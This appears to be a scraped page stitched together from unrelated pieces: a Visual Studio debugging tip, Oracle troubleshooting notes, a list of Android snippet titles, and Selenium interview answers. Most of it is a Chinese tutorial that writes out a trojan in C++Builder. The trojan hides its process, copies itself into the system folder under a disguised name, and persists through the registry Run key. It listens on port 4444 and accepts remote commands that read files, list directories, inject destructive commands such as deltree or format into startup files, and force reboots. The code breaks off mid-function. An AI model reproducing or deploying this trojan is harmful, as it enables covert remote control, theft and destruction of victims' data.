VS2017项目启动运行 提示ID为**的进程当前未运行

方法1:用文本编辑器打开Web项目下的.csproj文件,然后查找 <WebProjectProperties>,将这一对标签之间的内容全部删除,然后再打开项目就可以调试了!

方法2:如果在VS中启动项目,则清理解决方案后重新生成在运行

方法3:删除工程下面的.vs文件,重新生成
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版权声明:本文为CSDN博主「11小猪会飞11」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/SS33SSS/article/details/101067185

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常见问题及处理方案 CPU使用率高的问题 通过操作系统命令top topas glance等查看top进程号,确认是系统进程还是oracle应用进程,查询当前top进程执行的操作和sql语句进行分析。 根据进程号获取正在执行的sql SELECT a.osuser, a.username,b.address,b.hash_value, b.sql_text from v$session a, v$sqltext b, v$process p where p.spid = &spid and p.addr = a.paddr and a.STATUS = 'ACTIVE' and a.sql_address =b.address order by address, piece; 数据库无法连接 数据库无法连接,一般可能是如下原因造成: (1)数据库宕了 (2)监听异常 (3)数据库挂起 (4)归档目录满 (5)数据库或应用主机的网卡出现问题不能正常工作 (6)应用主机到数据库主机的网络出现问题。 1、数据库宕了 立即启动数据库。 Startup 2、监听异常 此时一般体现为: 监听进程占用CPU资源大;d 监听日志异常。 此时,立即重启监听,监听重启一般能在1分钟之内完成。 Lsnrctl restart 3、数据库挂起 立即重启数据库。 Startup 4、归档目录满 (1)在没有部署OGG数据同步的情况下,立即清理归档日志文件。 (2)如果部署了OGG数据同步,查看OGG正在读取的归档日志文件,立即 清理OGG不再需要的日志文件。 5、数据库或应用主机的网卡出现问题不能正常工作。 立即联系主机工程师处理。 6、应用主机到数据库主机的网络出现问题。 立即联系网络维护人员查看。 CRS/GI无法启动 对于10g及11gR1版本的CRS问题 1、进入/tmp目录下,看是否产生了crsctl.xxxxx文件 如果有的话,看文件内容,一般会提示OCR无法访问,或者心跳IP无法 正常绑定等信息。 2、如果/tmp目录下没有crsctl.xxxxx文件 此时查看ocssd.log文件,看是否能从中得到有价值的信息。 可能的问题:网络心跳不通。 3、/tmp目录无crsctl.xxxxx且日志中没有报错信息,只有停CRS时的日志信 息。 此时可能是RAC两个节点对并发裸设备的访问有问题,此时考虑: (1)停掉两个节点的CRS。 (2)两个节点先同时去激活并发VG,然后再激活VG。 (3)重新启动CRS。 对于11gR2的GI问题 分析$GRID_HOME/log/nodename目录下的日志文件,看是否能从中找出无法启动的原因。 常见问题: 1、心跳IP不同。 2、ASM实例无法启动。 对CRS的故障诊断和分析,参加本文档中RAC部分的MOS文档. 数据库响应慢 应急处理步骤: (1)找到占用CPU资源大的sql或者模块,然后停掉此应用模块。 (2)如果属于由于种种原因引起的数据库hang住情况,立即重启数据 库,此时重启需要约15分钟时间。 重要说明: 如果重启数据库的话,会有如下负面影响: (1)要kill掉所有连接到数据库中的会话,所有会话都会回滚。 (2)立即重启的话,不能获取并保留分析数据库挂起原因的信息,在后续分析问题时,没有足够信息用于分析问题产生的根本原因。 一般正常重启的话,都需要手动获取用于分析数据库重启原因的信息,以便编写分析报告,但是在最长情况下,获取日志信息可能就要40分钟时间。此时一般做systemstate dump,且如果是rac情况的话,需要2个节点都做,且需要做2次或以上。 常规处理步骤,分如下几种情况处理: (1)所有业务模块都慢。 (2)部分业务模块慢。 (3)数据库hang住。 所有业务模块都慢 此时首先查看系统资源,看是否属于CPU资源使用率100%的问题,如果是,参考本章“CPU使用率高的问题”解决办法。如果系统资源正常,那很可能是数据库hang住了,此时参考数据库Hang部分。 部分业务模块慢 分析运行慢的模块的sql语句: (1)看是否是新上的sql。 (2)看执行计划是否高效。 (3)优化运行慢的模块的sql语句。 数据库hang住 应急处理方式:重启数据库。 常规处理方式: (1)分析alert日志,看是否能从alert日志中,可以很快找到引起问题的原 因。 (2)做3级别的hanganalyze,先做一次,然后隔一分钟以后再做一次。 并分析hanganalyze 生成的trace文件,看是否可以找到引起数据库hang 住的会话的信息。 (3)做systemstate dump 此时生成systemstate dump的时间会比较长,尤其是在会话数量较多的情 况下。且生成dump文件的大小较大,在G级别以上。在生成一次以 后,过一分钟再收集一次,另外如果是RAC,那么两个节点都需要收 集。 对hang做dump请参考“对数据库HANG做DUMP一章”。 数据误删除 此问题,没有应急办法,只能按如下步骤处理: 1、对于10g及以上版本,看是否可以通过闪回进行恢复。 2、查看测试环境数据库,看其中是否有需要的数据。 3、使用备份进行恢复,此方法一般花费时间较长。 快速shutdown数据库 1. 停止监听 2. 做一个检查点操作 SQL> alter system checkpoint; 3. 杀掉所有LOCAL=NO的操作系统进程 AIX、HP-UX、Linux、Solaris: $ ps -ef|grep $ORACLE_SID| grep LOCAL=NO | grep -v grep |awk '{print $2}'|xargs -i kill -9 {} Windows: SQL> select 'orakill ' || (select value from v$parameter where name = 'instance_name') || ' ' ||p.spid from v$process p, v$bgprocess bp where p.ADDR = bp.PADDR(+) and bp.PADDR is null and p.SPID is not null; 在命令行执行: C:\> orakill db1 7642 C:\> orakill db1 7644 4. 停止数据库 SQL> shutdown immediate 清理分布式事务 -- 9i需要设置_sum_debug_mode SQL> alter session set "_smu_debug_mode" = 4; alter session set nls_date_format='YYYY-MM-DD HH24:MI:SS'; column local_trna_id format a20 column global_tran_id format a25 SELECT LOCAL_TRAN_ID, GLOBAL_TRAN_ID, FAIL_TIME,STATE, MIXED FROM DBA_2PC_PENDING; LOCAL_TRAN_ID GLOBAL_TRAN_ID FAIL_TIME STATE MIX -------------- ------------------------- -------------------- ---------------- --- 12.29.103137 TAXIS.9572b613.12.29.103137 30-aug-2011 10:09:11 collecting no SQL> commit force '12.29.103137'; Commit complete. SQL> EXECUTE DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY('12.29.103137'); PL/SQL procedure successfully completed. SQL> commit; -- 清理每个分布式事务都需要commit; 数据泵 1. 相关参数 PARALLEL参数考虑 可以设置成物理CPU(不是逻辑CPU)数的两倍数目,然后调整 对于Data Pump Export,PARALLEL参数必须要小于等于dump files数 对于Data Pump Import,PARALLEL不要比dump文件数大很多,可以大一些。这个参数也指定了导入时创建索引的并行度。 PARALLEL只允许在企业版使用。 nohup expdp system/manager schemas=kdjm DIRECTORY=DUMP_FILES PARALLEL=3 dumpfile=expCASES_%U.dmp logfile=nnsiexp2008_12_28.log & 通配符 %U,它指示文件将按需要创建,格式将为expCASES_nn.dmp,其中nn 从 01 开始,然后按需要向上增加 相关监控 -- 监控长事务 set linesize 120 column opname heading 'Operation' format a25 column target heading 'Target' format a15 column pct heading 'Percent' format 999 column es heading 'Elapsed|Seconds' format 999999 column tr heading 'Time|Remaining|Seconds' format 99999 column program format a30 column machine format a16 select L.sid ssid, substr(opname,1,25) opname, target, trunc((sofar/totalwork)*100) pct, to_char(60*sofar*8192/(24*60*(last_update_time-start_time))/1024/1024/60, '9999.0') Rate, round(elapsed_seconds/60, 2) es, round(time_remaining/60, 2) tr, program, machine from v$session_longops L, v$session s where time_remaining > 0 and l.sid = s.sid order by start_time; 坏块恢复 在遇到坏块的时,一般应按以下的流程来处理: 1 如果坏块的对象是索引,重建索引 2 使用备份来进行恢复 3 使用10231事件,或者DBMS_REPAIR.SKIP_CORRUPT_BLOCKS过程,让oracle跳过坏块,然后用exp导出表和使用CREATE TABLE AS创建新表。 4 尝试使用SQL脚本将完好的数据复制到一个新表中,或者用EXP配合QUERY参数导出完好的数据。 5 手工修改坏块。 有两种情况是不能使用事件10231和DBMS_REPAIR.SKIP_CORRUPT_BLOCKS来跳过坏块的: 1 硬件问题造成OS层不能读取数据。 2 表中的非数据块,或者说是元数据块。比如段头,Extent Map块。这种坏块是不能跳过的。 3 在表中存在有其他异常的块,从单个块来看都没有损坏,checksum值也是正确的,但是有的块在段内却是有问题的。比
|--Activity不允许横竖屏切换 |--Activity常用小技巧 |--Activity按返回直接回到桌面 |--aidl之结合反射获取应用缓存大小等空间占用 |--aidl调用系统service公开的方法挂电话 |--aidl调用系统公开的方法代码示例2 |--android dp和px之间转换 |--android INSTALL_PARSE_FAILED_MANIFEST_MALFORMED |--android root下禁用组件 |--android 判断网络状态 |--android 对话框样式 |--android 开机启动 |--android 挪动dialog的位置 |--android 控制对话框位置 |--android 根据uri获取路径 |--android 模拟器错误 |--android 横竖屏切换 |--android 获取mac地址 |--android 获取sd卡状态 |--android 设置apn |--android 调节屏幕亮度 |--android 资源uri |--android 还原短信 |--android 重启 |--android中anim文件特效 |--app信息menifest获取(如版本号) |--AsyncQueryHandler之异步查询Cursor处理 |--AutoCompleteTextView自动提示的用法 |--BitMap、Drawable、inputStream及byte[] 互转 |--ContentProvider内容提供者定义 |--DatePicker日期控件 |--desktop |--Dialog之位置的挪动与控制 |--Dialog实现无标提栏及自定义风格 |--Dialog风格Activity的作法 |--ExpandableListView(下拉伸缩ListView) |--GridView表格布局的用法 |--httpclient超时 |--info体系 |--Intent启动应用apk安装 |--Intent常用功能 |--IO将输入流转成字节 |--Json读js资源文件 |--layout布局样式之style配置 |--listview 页面 图片加文字 |--ListView之CursorAdapter异步查询框架之短信 |--ListView之动态添加子view |--ListView优化之分页加载 |--ListView优化之动态加载 |--ListView优化之控制getView实现复杂显示 |--ListView优化之标准写法 |--listview老虎机 界面设计 水果机 |--listview页面跳转 数据库交互 事务 dao biz 层 |--Log的收集 |--Manager下的info |--Manager之ActivityManager进程管理 |--Manager之LocationManager |--Manager之PackageManager |--Menu之不同模式下显示不同菜单 |--openGL-ES上绘制文字 |--openGL-ES纹理贴图 |--openGL-ES获取帧率 |--openGL-ES雾化 |--PopupWindow的使用 |--PopupWindow的返回健关闭 |--RadioGroup的用法(里面的成员可以是任何view) |--SD卡之计算剩余空间 |--Spinner下拉菜单组件 |--SplashActivity |--StringUtils工具类的常用方法 |--TabHost一个界面显示多Activity |--TextView单行跑马灯效果 |--TextView虚拟获得焦点 |--uploadServlet |--uri之表示资源resource |--ViewPage的使用 |--view中的tag用法之存储对象 |--view常用属性 |--xml常用属性 |--xml文件的pull解析与序列化写入 |--xml的封装序列化 |--任务循环之只在Activity显示时执行 |--修改文件的最后修改时间 |--偏好设置(回显) |--内存优化之各种方法 |--内容提供者之短信的序列化对象读写 |--内容提供者之短信的获取与写入 |--内容提供者之联系人读写与批量操作 |--内容提供者之获取通话记录 |--内容提供者的定义 |--写入联系人信息 |--利用FinalHttp实现多线程断点续传 |--加密之MD5 |--动画Animation详解 |--动画之view左右抖动 |--动画之移动动画 |--动画之组合动画 |--动画之缩放动画ScaleAnimation |--反序列化对象 |--发送短信 读天气 调音量 |--回调函数的定义 |--图片之BitMap、Drawable、inputStream及byte[] 互转 |--图片之保存图片至SD卡 |--图片之删除40%最近没有被使用的 |--图片之的本地缓存至SD卡 |--图片之网络异步下载图片 |--图片之获取SD卡所有及边界可调及压缩和软引用和内存回收 |--图片的LRU算法内存保存和读取 |--图片的缩放处理(防内存溢出) |--多媒体应用设计图 |--多线程下载 |--多线程下载及断点续传 |--多线程之AsyncTask的用法 |--多线程之线程池ExecutorService |--字体为粗体 |--安卓下的多线程断点上传 |--对话框与进度条结合用法 |--屏幕之Activity全屏 |--屏幕之横竖屏切换 |--屏幕之调节屏幕亮度 |--屏幕相关之Display类获取屏幕尺寸和分辨率 |--屏幕适配之ScrollView |--屏幕适配之像素dp和px之间转换 |--工具类之Log的封装类 |--工具类之不同log打印的封装 |--工具类之开启新的Activity |--布局加载器的获取 |--广播接收者之开机启动 |--广播接收者之获取管理员权限 |--广播接收者代码注册与卸载 |--广播接收者常用广播的获取 |--应用之分享(隐式意图) |--应用之卸载(隐式意图) |--应用之安装(隐式意图) |--应用之完美退出 |--应用之获取名称和图标 |--应用之获得占用内存大小 |--应用之通过包名开启一个应用 |--应用之隐式意图开启设置界面 |--应用启动之检查版本更新及初始化 |--延时任务的工具类 |--异常之UncaughtExceptionHandler全局捕获处理 |--异步任务AsyncTask的用法 |--异步任务的自定义 |--快捷方式增删查 |--手势识别器GestureDetector的用法 |--拍照之调用系统相机并显示及保存 |--拨打电话 |--按健之长按menu事件屏蔽 |--按健监听按返回健回桌面 |--搜索之调用系统Searchable的用法 |--数据库CURD通过execSQL与rawQuery |--数据库SQLiteOpenHelper标准写法 |--数据库复杂多表查询 |--数据库查询之归属地 |--数据库直接CURD |--数据提交无需权限 |--文件之从服务器下载 |--文件之拷贝文件至某个目录 |--文件之指定编码读写文件 |--文件之释放Assets下的文件到应用的File目录 |--文件之随机存储RandomAccessFile |--文件使用时间排序 |--文件复制粘贴 |--文件路径之通过uri获取 |--时间java常用应用 |--时间之handle记时器 |--时间之time的用法得到特定时间的long值 |--时间之之定时任务TimerTask |--时间之倒计时CountDownTimer |--时间之当前时间动态显示 |--时间之自动任务ScheduledExecutorService |--时间之记时器 |--时间日期格式化 |--服务之判断是否处于运行状态 |--服务之定义录音机 |--服务之应用内绑定服务调用方法 |--服务之电话录音 |--服务之看门狗代码示例 |--格式化之DecimalFormat数字格式化 |--桌面快捷方式的添加代码示例 |--桌面控件widget的创建方法 |--模拟发短信 指定号码 短信窃听提示 |--消息机制 mesage looper |--滑动之左右滑动的两种定义 |--电话簿读取联系人信息 |--监听 |--监听之CheckBox是否选中监听 |--监听之EditText内容变化监听 |--监听之GridView条目点击监听 |--监听之ListView条目点击事件监听 |--监听之ListView滑动监听 |--监听之单击监听的两种定义 |--监听之双击监听 |--监听之电话状态监听 |--监听之触摸监听 |--短信之根据id删除及查询短信 |--短信发送小demo |--短信的截取 |--系统之SD卡清理 |--系统之获取所有开机启动应用 |--系统之重启实现 |--系统信息之获取SD卡内存信息 |--系统信息之获取动态内存RAM信息 |--系统信息之获取可用内存 |--系统信息之获得mac地址 |--系统信息之获得手机sim卡序列号 |--缓存优化之几种方案lastModified |--缓存优化之本地缓存优化(超过规定值或SD卡容量不够时) |--网络post提交查询请求 |--网络之HttpClient的get和post用法 |--网络之判断网络状态是否可用 |--网络之设置apn |--网络图片查看器 |--网络图片的下载与缓存 |--网络文件的下载与关联进度条 |--联系人之各种查找 |--联系人读写与批量操作 |--联系人读取 |--自定义shape形状颜色渐变资源 |--自定义Toast |--自定义view的属性 |--自定义下拉刷新ListView |--自定义动画资源 |--自定义常用小控件 |--自定义控件之小技巧 |--自定义控件风格和全局背景 |--自定义组合控件 |--自定义配置文件资源 |--自定义颜色状态选择资源 |--自定义颜色资源 |--获取网页的源码 |--读取外部资源的文件3种方式 |--读取手机内的短信 |--通信之Application实现应用全局通信 |--重启adb |--隐式转换 页面 |--震动效果的实现
.确认(verifation)和断言(assert)有什么区别? 确认:当测试中的一个用例存在错误时,系统将会继续运行这些测试 断言:当测试中的一个用例存在错误时,系统将会退出当前用例 总而言之,确认和断言的不同在于,当出现错误情况之后,系统将会如何处理。 .test case 和testsuite的区别? test case是一个用例 test suite是一组用例 7.selenium IDE, selenium core, selenium core hta, selenium rc四者的概念以及它们之间的区别? selenium IDE(集成开发环境)。它是一个firefox的插件,可以录制、回放并编辑测试脚本 selenium Core(核心)。这是符合断言机制,由测试套件执行的平台。它是整个测试机制的核心部分,由纯javaScript代码组成 selenium Core Hta.这是针对IE设计的执行平台,运行于IE的最高字全级别之上。 selenium Remote Control(远程控制):它是一个代理与控制端,可代替selenium core/selenium DIE的客户端,并支持多语言 8.能不能在IE中录制脚本吗? 不能,只能在firefox中安装selenium IDE,而只有selenium IDE才存在录制的功能。 如果想测试一些,不能在firefox中正常显示的程序,则只有安装selenium RC,然后自己编写测试脚本,只有这样,脚本才能在ie中运行。 12.怎样安装多窗口模型? (1)启动selenium-server时,输入以下的命令:java-jar selenium-server.jar -multiwindow。则会在两个窗口中显示运行结果 (2)启动selenium-server时,输入以下的命令:java -jar selenium-server.jar -singlewindow。则会在一个窗口中显示运行结果 15.怎样访问变量? ${变量名} 16.在录制的过程中,遇到了提示框的话,要怎样处理才能在正常的回放? 17.录制到邮件的时候,不能正常录制,要如何处理呢? 录制的时候,首先要指定要框架,然后再输入文本。 例如:邮件通过firebug定位为: 在selenium ide中则需要手动的输入以下的内容: 再输入一条以下的命令:selectFrame relative=top 则,此时的脚本就能正常的运行了。 18.录制到组件的时候,不能正常录制,要怎样处理? 例如:上传附件(以及其它一些要上传的东西),刚发现附件并不是不能录制,而是你在界面中的定位不是很清楚,selenium不能识别。 19.录制时,会跳出多个窗口,此时要怎样处理? 存在四种解决方法,可以参考http://www.boobooke.com/bbs/viewthread.php?tid=41824&highlight=selenium中的第七集 具体方法如下:(1)java中可用如下的代码:String[] titles =selenium.getAllWindowTitles(); //得到所有窗口的标题 selenium.selectWindow("title="+titles[titles.length-1]); //选择最后打开的一个窗口 selenium.close(); //关闭最后打开的一个窗口 selenium.selectWindow("null"); //重新聚集在最开始的一个窗口(只有两个窗口的时候) (2)java中可用如下的代码:selenium.click("link=????"); 换成如下的两行代码 String url = selenium.getAttribute(link=????@href); selenium.open(url); 注:此方法也存在一定的缺陷,就是不能验证click点击事件是否正确。 (3)利用javascript去掉原代码中的target="_blank"的属性(目前为止还不清楚) (4)这种方法不清楚,看的不是很懂 20.什么是window
 启动C++Builder5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的ServerSocket,另两个是Fastnet页中的NMFTP和NMSMTP。ServerSocket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File TransferProtocol文件传输协议)和SMTP(Simple Mail TransferProtocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。   Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。   我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(ServiceProcess)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。   首先判断目标机的操作系统是Win9x还是WinNt: { DWORD dwVersion = GetVersion(); // 得到操作系统的版本号 if (dwVersion >= 0x80000000) // 操作系统是Win9x,不是WinNt  {    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);     //定义RegisterServiceProcess()函数的原型     HINSTANCE hDLL;    LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;    hDLL = LoadLibrary("KERNEL32");    //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL    lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");     //得到RegisterServiceProcess()函数的地址     lpRegisterServiceProcess(GetCurrentProcessId(),1);    //执行RegisterServiceProcess()函数,隐藏本进程    FreeLibrary(hDLL);    //卸载动态链接库  } }   这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。 接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载: {  char TempPath[MAX_PATH]; //定义一个变量 GetSystemDirectory(TempPath ,MAX_PATH); //TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径 SystemPath=AnsiString(TempPath); //格式化TempPath字符串,使之成为能供编译器使用的样式 CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE); //将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来 Registry=new TRegistry; //定义一个TRegistry对象,准备修改注册表,这一步必不可少 Registry->RootKey=HKEY_LOCAL_MACHINE; //设置主键为HKEY_LOCAL_MACHINE Registry->OpenKey("Software\\Microsoft\\Windows\\ CurrentVersion\\Run",TRUE); //打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之 try  {   //如果以下语句发生异常,跳至catch,以避免程序崩溃   if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")     Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");     //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe    //如果不是,就写入以上键值和内容  } catch(...)  {  //如果有错误,什么也不做  } }   好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。   接着选中ServerSocket控件,在左边的ObjectInspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP ControlPort);同理TNMSMTP的25号端口也是SMTP协议的专用端口。   再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码: {  FILE *fp=NULL;  char * content;  int times_of_try;  char TempFile[MAX_PATH];  //定义了一堆待会儿要用到的变量  sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());  //在%System%下建立一个文本文件Win369.bat,作为临时文件使用  AnsiString temp=Socket->ReceiveText();  //接收客户端(攻击者,也就是你自己)传来的数据 } 好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧: { if(temp.SubString(0,9)=="edit conf")  //如果接受到的字符串的前9个字符是“edit conf”  {    int number=temp.Length();    //得到字符串的长度    int file_name=atoi((temp.SubString(11,1)).c_str());    //将第11个字符转换成integer型,存入file_name变量    //为什么要取第11个字符,因为第10个字符是空格字符    content=(temp.SubString(12,number-11)+'\n').c_str();    //余下的字符串将被作为写入的内容写入目标文件    FILE *fp=NULL;    char filename[20];    chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);    chmod("c:\\config.sys",S_IREAD|S_IWRITE);    //将两个目标文件的属性改为可读可写    if(file_name==1)     sprintf(filename,"%s","c:\\autoexec.bat");     //如果第11个字符是1,就把Autoexec.bat格式化    else if(file_name==2)     sprintf(filename,"%s","c:\\config.sys");     //如果第11个字符是1,就把Config.sys格式化    times_of_try=0;    //定义计数器    while(fp==NULL)     {      //如果指针是空     fp=fopen(filename,"a+");     //如果文件不存在,创建之;如果存在,准备在其后添加     //如果出错,文件指针为空,这样就会重复     times_of_try=times_of_try+1;     //计数器加1     if(times_of_try>100)     {        //如果已经试了100次了,仍成功        Socket->SendText("Fail By Open File");        //就发回“Fail By Open File”的错误信息        goto END;        //跳至END处     }     }    fwrite(content,sizeof(char),strlen(content),fp);    //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!    fclose(fp);    //写完后关闭目标文件    Socket->SendText("Sucess");    //然后发回“Success”的成功信息   } }   你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开 上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰: { else if(temp.SubString(0,3)==dir) { file://如果前3个字符是“dir” int Read_Num; char * CR_LF=\n; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); file://得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name==) { file://如果目录名为空 Socket->SendText(Fail By Open DIRs Name); file://返回“Fail By Open DIRs Name”信息 goto END; file://跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) { file://如果打开目录出错 Socket->SendText(Fail by your DIRs name!); file://返回“Fail By Your DIRs Name”信息 goto END; file://跳到END } times_of_try=0; while(fp==NULL) { file://如果指针是NULL fp=fopen(TempFile,w+); file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍成功(真有耐心!) Socket->SendText(Fail By Open File); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } while ((ent = readdir(dir)) != NULL) { file://如果访问目标目录成功 if(*(AnsiString(dirname)).AnsiLastChar()!=\\) file://如果最后一个字符不是“\”,证明不是根目录 filename=(AnsiString(dirname)+\\+ent->d_name).c_str(); file://加上“\”字符后将指针指向目录流 else filename=(AnsiString(dirname)+ent->d_name).c_str(); file://如果是根目录,则不用加“\” attrib=_rtl_chmod(filename, 0); file://得到目标文件的访问属性 if (attrib & FA_RDONLY) file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite( R,sizeof(char),3,fp); file://将目标文件属性设为只读 else fwrite( ,sizeof(char),3,fp); file://失败则写入空格 if (attrib & FA_HIDDEN) fwrite(H,sizeof(char),1,fp); file://将目标文件属性设为隐藏 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_SYSTEM) fwrite(S,sizeof(char),1,fp); file://将目标文件属性设为系统 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_ARCH) fwrite(A,sizeof(char),1,fp); file://将目标文件属性设为普通 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_DIREC) fwrite( <DIR> ,sizeof(char),9,fp); file://将目标文件属性设为目录 else fwrite( ,sizeof(char),9,fp); file://失败则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); file://将目录名写入目标文件 fwrite(CR_LF,1,1,fp); file://写入换行 } fclose(fp); file://关闭文件 closedir(dir); file://关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) { fp1=fopen(TempFile,r); file://打开Win369.bat准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍成功 Socket->SendText(Fail By Open File); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp1); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 fclose(fp1); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text变量的内容 } } 够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?): { else if(temp.SubString(0,4)==type) { file://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); file://将目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),r); file://打开目标文件准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已试了100次了 Socket->SendText(Fail By Open File); file://返回“Fail By Open File”的错误信息 goto END; file://跳到END } } AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 fclose(fp); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text的内容,即你查看文件的内容 } } 咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中): { else if(temp==open) { file://如果收到的temp的内容是“open” mciSendString(set cdaudio door open, NULL, 0, NULL); file://就弹出光驱的托盘 } else if(temp==close) { file://如果收到的temp的内容是“close” mciSendString(Set cdaudio door closed wait, NULL, 0, NULL); file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ } } 接着就是交换目标机的鼠标左右键,代码如下: { else if(temp==swap) { SwapMouseButton(1); file://交换鼠标左右键,简单吧? } } 然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: { else if(temp==reboot) { file://如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); file://得到操作系统的版本号 if (dwVersion < 0x80000000) { file://操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file://定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 file://GetCurrentProcess()函数的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); file://LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; file://赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); 